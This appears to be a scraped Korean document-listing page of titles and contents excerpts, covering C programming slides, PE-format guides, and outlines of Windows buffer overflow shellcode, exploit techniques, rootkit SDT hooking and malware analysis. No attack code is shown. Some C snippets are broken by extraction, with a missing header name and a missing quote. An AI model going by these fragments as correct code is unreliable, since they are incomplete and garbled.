Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

윈도우프로그래머를위한 PE 포맷가이드 실행파일프로텍터 목차 목차... 1 저작권... 1 소개... 1 연재가이드... 1 연재순서... 1 필자소개... 2 필자메모... 2 Introduction... 2 IAT 처리하기... 4 메타데이터 스텁코드...

윈도우프로그래머를위한 PE 포맷가이드 실행파일프로텍터 목차 목차... 1 저작권... 1 소개... 1 연재가이드... 1 연재순서... 1 필자소개... 2 필자메모... 2 Introduction... 2 IAT 처리하기... 4 메타데이터 스텁코드... 윈도우프로그래머를위한 PE 포맷가이드 실행파일프로텍터 목차 목차... 1 저작권... 1 소개... 1 연재가이드... 1 연재순서... 1 필자소개... 2 필자메모... 2 Introduction... 2 IAT 처리하기... 4 메타데이터... 11 스텁코드... 11 Z 프로텍터... 14 도젂과제... 18 참고자료... 18 저작권 Copyright

More information

Deok9_PE Structure

Deok9_PE Structure PE Structure CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 1. PE > 1) PE? 2) PE 3) PE Utility

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

목 차 1. 개요 2. PE(Portable Executable) 이란? 3. IMAGE_DOS_HEADER 4. IMAGE_NT_HEADER 1) IMAGE_FILE_HEADER 2) IMAGE_OPTIONAL_HEADER 3) IMAGE_DATA_DIRECTORY

목 차 1. 개요 2. PE(Portable Executable) 이란? 3. IMAGE_DOS_HEADER 4. IMAGE_NT_HEADER 1) IMAGE_FILE_HEADER 2) IMAGE_OPTIONAL_HEADER 3) IMAGE_DATA_DIRECTORY 작성자 : 한서대학교 H.I.S.L 동아리진선호 sunho104@msn.com 본보고서의전부나일부를인용시반드시 [ 자료 : 한서대학교정보보호동아리 (H.I.S.L)] 를명시하여주시기바랍니다. - 1 - 목 차 1. 개요 2. PE(Portable Executable) 이란? 3. IMAGE_DOS_HEADER 4. IMAGE_NT_HEADER 1) IMAGE_FILE_HEADER

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 2 장 : C 프로그램시작하기 2012 년 이은주 학습목표 을작성하면서 C 프로그램의구성요소 주석 (comment) 이란무엇인지알아보고, 주석을만드는방법 함수란무엇인지알아보고, C 프로그램에반드시필요한 main 함수 C 프로그램에서출력에사용되는 printf 함수 변수의개념과변수의값을입력받는데사용되는 scanf 함수 2 목차 프로그램코드

More information

슬라이드 1

슬라이드 1 2007 년 2 학기윈도우게임프로그래밍 제 7 강프레임속도의조절 이대현 핚국산업기술대학교 학습내용 프레임속도의조절 30fps 맞추기 스프라이트프레임속도의조절 프레임속도 (Frame Rate) 프레임속도란? 얼마나빨리프레임 ( 일반적으로하나의완성된화면 ) 을만들어낼수있는지를나타내는척도 일반적으로초당프레임출력횟수를많이사용핚다. FPS(Frame Per Sec)

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

기초지식 : C/C++, Win32 API, Assembly 응용분야 : 보안프로그램 연재순서 실행파일속으로 DLL 로딩하기 실행파일생성기의원리 코드패칭 바이러스 필자소개 싞영짂 po

기초지식 : C/C++, Win32 API, Assembly 응용분야 : 보안프로그램 연재순서 실행파일속으로 DLL 로딩하기 실행파일생성기의원리 코드패칭 바이러스 필자소개 싞영짂 po 윈도우프로그래머를위한 PE 포맷가이드 코드패칭 목차 목차... 1 저작권... 1 소개... 1 연재가이드... 1 연재순서... 2 필자소개... 2 필자메모... 2 Introduction... 2 워밍업... 3 NOP... 6 완젂함수... 7 Dll 함수호출... 8 코드추가... 9 정렧을위해패딩된공갂... 9 섹션추가하기... 13 도젂과제...

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

PowerPoint Presentation

PowerPoint Presentation #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을작성하면서 C 프로그램의구성요소에대하여알아본다.

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

제목

제목 Development Technology Seminar 작 성 자 : 고형호 이 메 일 : hyungho.ko@gmail.com 최초작성일 : 2007.01.19 최종작성일 : 2007.02.05 버 전 : 01.05 홈 피 : www.innosigma.com Goal Exception Handling 1. SEH vs. CEH Exception Handling

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

커널모드루트킷기술 SDT 후킹의창과방패 목차 목차... 1 저작권... 1 소개... 1 연재가이드... 1 필자소개... 2 Introduction... 2 SDT 후킹... 2 SDT 복구... 6 SDT 재배치... 7 SDT를찾는또다른방법... 7 젂용 SDT.

커널모드루트킷기술 SDT 후킹의창과방패 목차 목차... 1 저작권... 1 소개... 1 연재가이드... 1 필자소개... 2 Introduction... 2 SDT 후킹... 2 SDT 복구... 6 SDT 재배치... 7 SDT를찾는또다른방법... 7 젂용 SDT. 커널모드루트킷기술 SDT 후킹의창과방패 목차 목차... 1 저작권... 1 소개... 1 연재가이드... 1 필자소개... 2 Introduction... 2 SDT 후킹... 2 SDT 복구... 6 SDT 재배치... 7 SDT를찾는또다른방법... 7 젂용 SDT... 9 인라인후킹 vs 트램펄릮... 10 후킹을넘어서... 12 극과극은통한다... 13

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Index 1. VLAN VLAN 이란? VLAN 의역핛 VLAN 번호 VLAN 과 IP Address Trunking DTP 설정 VT

Index 1. VLAN VLAN 이란? VLAN 의역핛 VLAN 번호 VLAN 과 IP Address Trunking DTP 설정 VT VLAN (Virtual LAN) 1 Index 1. VLAN... 3 1. 1 VLAN 이란?...3 1. 2 VLAN 의역핛... 3 1. 3 VLAN 번호...4 1.4 VLAN 과 IP Address... 5 1. 5 Trunking... 6 1. 6 DTP...9 1. 7 설정...11 2. VTP... 14 2. 1 VTP 란?...14 2. 2

More information

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD>

<4D F736F F F696E74202D B3E22032C7D0B1E220C0A9B5B5BFECB0D4C0D3C7C1B7CEB1D7B7A1B9D620C1A638B0AD202D20C7C1B7B9C0D320BCD3B5B5C0C720C1B6C0FD> 2006 년 2 학기윈도우게임프로그래밍 제 8 강프레임속도의조절 이대현 한국산업기술대학교 오늘의학습내용 프레임속도의조절 30fps 맞추기 스프라이트프레임속도의조절 프레임속도 (Frame Rate) 프레임속도란? 얼마나빨리프레임 ( 일반적으로하나의완성된화면 ) 을만들어낼수있는지를나타내는척도 일반적으로초당프레임출력횟수를많이사용한다. FPS(Frame Per Sec)

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 15 고급프로그램을 만들기위한 C... 1. main( ) 함수의숨겨진이야기 2. 헤더파일 3. 전처리문과예약어 1. main( ) 함수의숨겨진이야기 main( ) 함수의매개변수 [ 기본 14-1] main( ) 함수에매개변수를사용한예 1 01 #include 02 03 int main(int argc, char* argv[])

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

Spanning Tree Protocol (STP) 1

Spanning Tree Protocol (STP) 1 Spanning Tree Protocol (STP) 1 Index 1. Ethernet Loop 2. BPDU 3. Bridge ID, Root Bridge ID 4. PVST 에서의 Bridge ID 5. Path cost 6. Port ID 7. STP 의동작방식 8. STP Port 상태변화 2 1. Ethernet Loop - 이중화구성은많은장점을가지지만

More information

Basics of Electrochemical Impedance Spectroscopy - I Impedance Plots Overview 핚번의실험을시행핛때각측정된주파수에서데이터는다음요소들로구성된다. The real component of voltage (E ) Th

Basics of Electrochemical Impedance Spectroscopy - I Impedance Plots Overview 핚번의실험을시행핛때각측정된주파수에서데이터는다음요소들로구성된다. The real component of voltage (E ) Th Basics of Electrochemical Impedance Spectroscopy - I Impedance Plots Overview 핚번의실험을시행핛때각측정된주파수에서데이터는다음요소들로구성된다. The real component of voltage (E ) The imaginary component of voltage (E ) The real component

More information

Design

Design Team 6 201060682 Valentin 200611450 강세용 200610118 김규수 이문서는 TimeSchedule System 을구현하기위핚기본적인아키텍쳐와구조에대해기술하였습니다. 가장핵심적인부분은 TimeSchedule 이며기본적인구조는, 교수는수업을개설하거나삭제핛수있으며학생은교수가개설핚수업을자싞의시갂표에등록핛수있다. 단학생의수업이다른수업과겹칠경우수업은학생의시갂표에등록되지않으며,

More information

Secure Programming Lecture1 : Introduction

Secure Programming Lecture1 : Introduction Malware and Vulnerability Analysis Lecture1 Malware Analysis #1 Agenda 악성코드정적분석 악성코드분석 악성코드정적분석 정적분석 임의의코드또는응용프로그램을실행하지않고분석 ASCII 문자열 (ex. URL) API 리스트 Packing VT 기타등등 정적분석 : 파일식별 악성으로의심되는파일의형태식별 file

More information

로봇SW교육원 강의자료

로봇SW교육원 강의자료 UNIT 05 make 광운대학교로봇 SW 교육원 최상훈 학습목표 2 Makefile 을작성핛수있다. make 3 make 프로젝트관리유틸리티 컴파일시갂단축 파일의종속구조를빠르게파악핛수있음 기술파일 (Makefile) 에기술된대로컴파일명령또는셸 (shell) 명령을순차적으로수행 make 를사용하지않을경우 $ gcc c main.c $ gcc c test_a.c

More information

제 5강 리만적분

제 5강 리만적분 제 5 강리만적분 리만적분 정의 : 두실수, 가 을만족핚다고가정하자.. 만일 P [, ] 이고 P 가두끝점, 을모두포함하는유핚집합일때, P 을 [, ] 의분핛 (prtitio) 이라고핚다. 주로 P { x x x } 로나타낸다.. 분핛 P { x x x } 의노름을다음과같이정의핚다. P x x x. 3. [, ] 의두분핛 P 와 Q 에대하여만일 P Q이면 Q

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

자녀를 영적 챔피언으로 훈련시켜라 조지 바나/차 동해 역/2006/쉐키나 출판/서울 V. 적절핚 책임을 맡으라 부모 5명 중 4명 이상(85%)이 자기 자녀의 도덕적, 영적 성장에 1차적 책임이 있다고 생각하는 반면, 그들 3명 중 2명 이상이 그 책임을 자싞의 교회에

자녀를 영적 챔피언으로 훈련시켜라 조지 바나/차 동해 역/2006/쉐키나 출판/서울 V. 적절핚 책임을 맡으라 부모 5명 중 4명 이상(85%)이 자기 자녀의 도덕적, 영적 성장에 1차적 책임이 있다고 생각하는 반면, 그들 3명 중 2명 이상이 그 책임을 자싞의 교회에 1 2010년11월 가족의 심리학 토니 험프리스/윢영삼 역/다산초당/2009/서울 제 11장 지금부터 나의 삶이 시작된다 가족분리 스스로 성장핚 크기맊큼 아이를 주체적이고 독립적읶 핚 읶갂으로 키울 수 있다. -- Carl R. Rogers 사랑하기에 떠난다 가족의 졲재 목적은 가족에 속핚 개개읶의 자싞에 대핚 읶식을 가장 적젃하게 맊 들어주는 것이다. 다시말해,

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

C++ Programming

C++ Programming C++ Programming 연산자다중정의 Seo, Doo-okok clickseo@gmail.com http://www.clickseo.com 목 차 연산자다중정의 C++ 스타일의문자열 2 연산자다중정의 연산자다중정의 단항연산자다중정의 이항연산자다중정의 cin, cout 그리고 endl C++ 스타일의문자열 3 연산자다중정의 연산자다중정의 (Operator

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

연재순서 실행파읷속으로 필자소개 싞영짂 웰비아닶컴에서보안프로그래머로읷하고있다. 시스템프로그래밍에관심이많으며다수의 PC 보안프로그램개발에참여했다. 현재데브피아 Visual C++ 섹션시

연재순서 실행파읷속으로 필자소개 싞영짂  웰비아닶컴에서보안프로그래머로읷하고있다. 시스템프로그래밍에관심이많으며다수의 PC 보안프로그램개발에참여했다. 현재데브피아 Visual C++ 섹션시 윈도우프로그래머를위한 PE 포맷가이드 실행파읷속으로 목차 목차... 1 License... 1 소개... 1 연재가이드... 1 연재순서... 2 필자소개... 2 필자메모... 2 Introduction... 2 PE 포맷의젂체적읶구조... 3 DOS 헤더및스텁코드... 5 NT 헤더... 5 섹션헤더... 7 RVA와파읷오프셋... 10 익스포트정보...

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

호출 (calling) 의예술 윈도우프로그래밍테크닉 호출 (calling) 의예술 목차 목차... 1 License... 1 소개... 1 연재가이드... 1 필자소개... 2 필자메모... 2 Introduction... 2 함수호출규약 (calling convent

호출 (calling) 의예술 윈도우프로그래밍테크닉 호출 (calling) 의예술 목차 목차... 1 License... 1 소개... 1 연재가이드... 1 필자소개... 2 필자메모... 2 Introduction... 2 함수호출규약 (calling convent 윈도우프로그래밍테크닉 목차 목차... 1 License... 1 소개... 1 연재가이드... 1 필자소개... 2 필자메모... 2 Introduction... 2 함수호출규약 (calling convention)... 3 cdecl 호출규약... 4 stdcall 호출규약... 4 fastcall 호출규약... 5 thiscall 호출규약... 6 x64

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

Microsoft PowerPoint - chap03-변수와데이터형.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.

More information

<4D F736F F D20B0ADB5BFC7F65FB1E2BCFAB9AEBCAD5F4645B1B8C1B620B1E2BCFAB9AEBCAD5F66726F6D E6B5F66696E F2E646F63>

<4D F736F F D20B0ADB5BFC7F65FB1E2BCFAB9AEBCAD5F4645B1B8C1B620B1E2BCFAB9AEBCAD5F66726F6D E6B5F66696E F2E646F63> 기술문서 08.10.24. 작성 PE 구조분석 Windows 계열 OS 의파일구성 (PE: Portable Executable) 작성자 : 동명대학교 THINK 강동현 (cari2052@gmail.com) 0. 시작하면서 -------------------------------------------------------------------------- p.02

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

슬라이드 1

슬라이드 1 1 Computer Networks Practice #1-1 - Socket Programming 이지민 (jmlee@mmlab.snu.ac.kr) 장동현 (dhjang@mmlab.snu.ac.kr) 2011. 9. 14 2 Transport layer 가하는일 Reliability 패킷젂송에오류가생기면잧젂송함으로써마치 오류가나지않는것처럼 싞뢰된젂송을 Application

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

Microsoft PowerPoint - additional01.ppt [호환 모드]

Microsoft PowerPoint - additional01.ppt [호환 모드] 1.C 기반의 C++ part 1 함수 오버로딩 (overloading) 디폴트매개변수 (default parameter) 인-라인함수 (in-line function) 이름공간 (namespace) Jong Hyuk Park 함수 Jong Hyuk Park 함수오버로딩 (overloading) 함수오버로딩 (function overloading) C++ 언어에서는같은이름을가진여러개의함수를정의가능

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 고장수목을이용핚테스트케이스의 안전성측정 윤상현, 조재연, 유준범 Dependable Software Laboratory 건국대학교 차례 서론 배경지식 고장수목분석 테스트케이스와고장수목의최소절단집합의비교 개요 소프트웨어요구사항모델 - 핸드폰카메라예제 고장수목분석최소절단집합의 CTL 속성으로의변홖 테스트케이스에서 SMV 입력프로그램으로의변홖 테스트케이스변홖모델에대핚모델체킹

More information

Microsoft PowerPoint - CSharp-10-예외처리

Microsoft PowerPoint - CSharp-10-예외처리 10 장. 예외처리 예외처리개념 예외처리구문 사용자정의예외클래스와예외전파 순천향대학교컴퓨터학부이상정 1 예외처리개념 순천향대학교컴퓨터학부이상정 2 예외처리 오류 컴파일타임오류 (Compile-Time Error) 구문오류이기때문에컴파일러의구문오류메시지에의해쉽게교정 런타임오류 (Run-Time Error) 디버깅의절차를거치지않으면잡기어려운심각한오류 시스템에심각한문제를줄수도있다.

More information

Content 1. DLL? 그게뭐야?

Content 1. DLL? 그게뭐야? DLL Injection 은어떻게이루어지는가? By bl4ck3y3 (http://hisjournal.net/blog) Abstract 루트킷을비롯하여바이러스, 악성코드등여러분야에두루쓰이는기법이 DLL Injection입니다. Windows에한정되어적용되는것이지만, Windows 자체의점유율이높은이유로아주효과적으로공격자가원하는작업을수행할수있는방법이죠. 최근루트킷에대해공부하면서이

More information

C 프로그램의 기본

C 프로그램의 기본 C 프로그램의기본 목차 C 프로그램의구성요소 주석 main 함수 출력 C 언어의입력과출력 변수 printf 함수 scanf 함수 2 예제 2-1 : 첫번째 C 프로그램 3 2.1.1 주석 주석의용도 프로그램에대한설명 프로그램전체에대한대략적인정보를제공 프로그램수행에영향을미치지않는요소 4 2.1.1 주석 주석사용방법 /* 과 */ 을이용한여러줄주석 // 을이용한한줄주석

More information

OCW_C언어 기초

OCW_C언어 기초 초보프로그래머를위한 C 언어기초 4 장 : 연산자 2012 년 이은주 학습목표 수식의개념과연산자및피연산자에대한학습 C 의알아보기 연산자의우선순위와결합방향에대하여알아보기 2 목차 연산자의기본개념 수식 연산자와피연산자 산술연산자 / 증감연산자 관계연산자 / 논리연산자 비트연산자 / 대입연산자연산자의우선순위와결합방향 조건연산자 / 형변환연산자 연산자의우선순위 연산자의결합방향

More information

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap10-함수의활용.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

Windows Server 2012

Windows Server  2012 Windows Server 2012 Shared Nothing Live Migration Shared Nothing Live Migration 은 SMB Live Migration 방식과다른점은 VM 데이터파일의위치입니다. Shared Nothing Live Migration 방식은 Hyper-V 호스트의로컬디스크에 VM 데이터파일이위치합니다. 반면에, SMB

More information

1. 개요 악성코드는여러분류로나누어볼수가있다. 이중일반사용자의입장에서 악성코드 라는단어보다친숙한 바이러스 가있다. 사실필자도보안을공부하기이전에는 악성코드 라는단어는아예들어보지못했고, 대신 바이러스 라는단어로모든악성코드를지칭했었다. 바이러스는악성코드분류의한종류로 스스로를

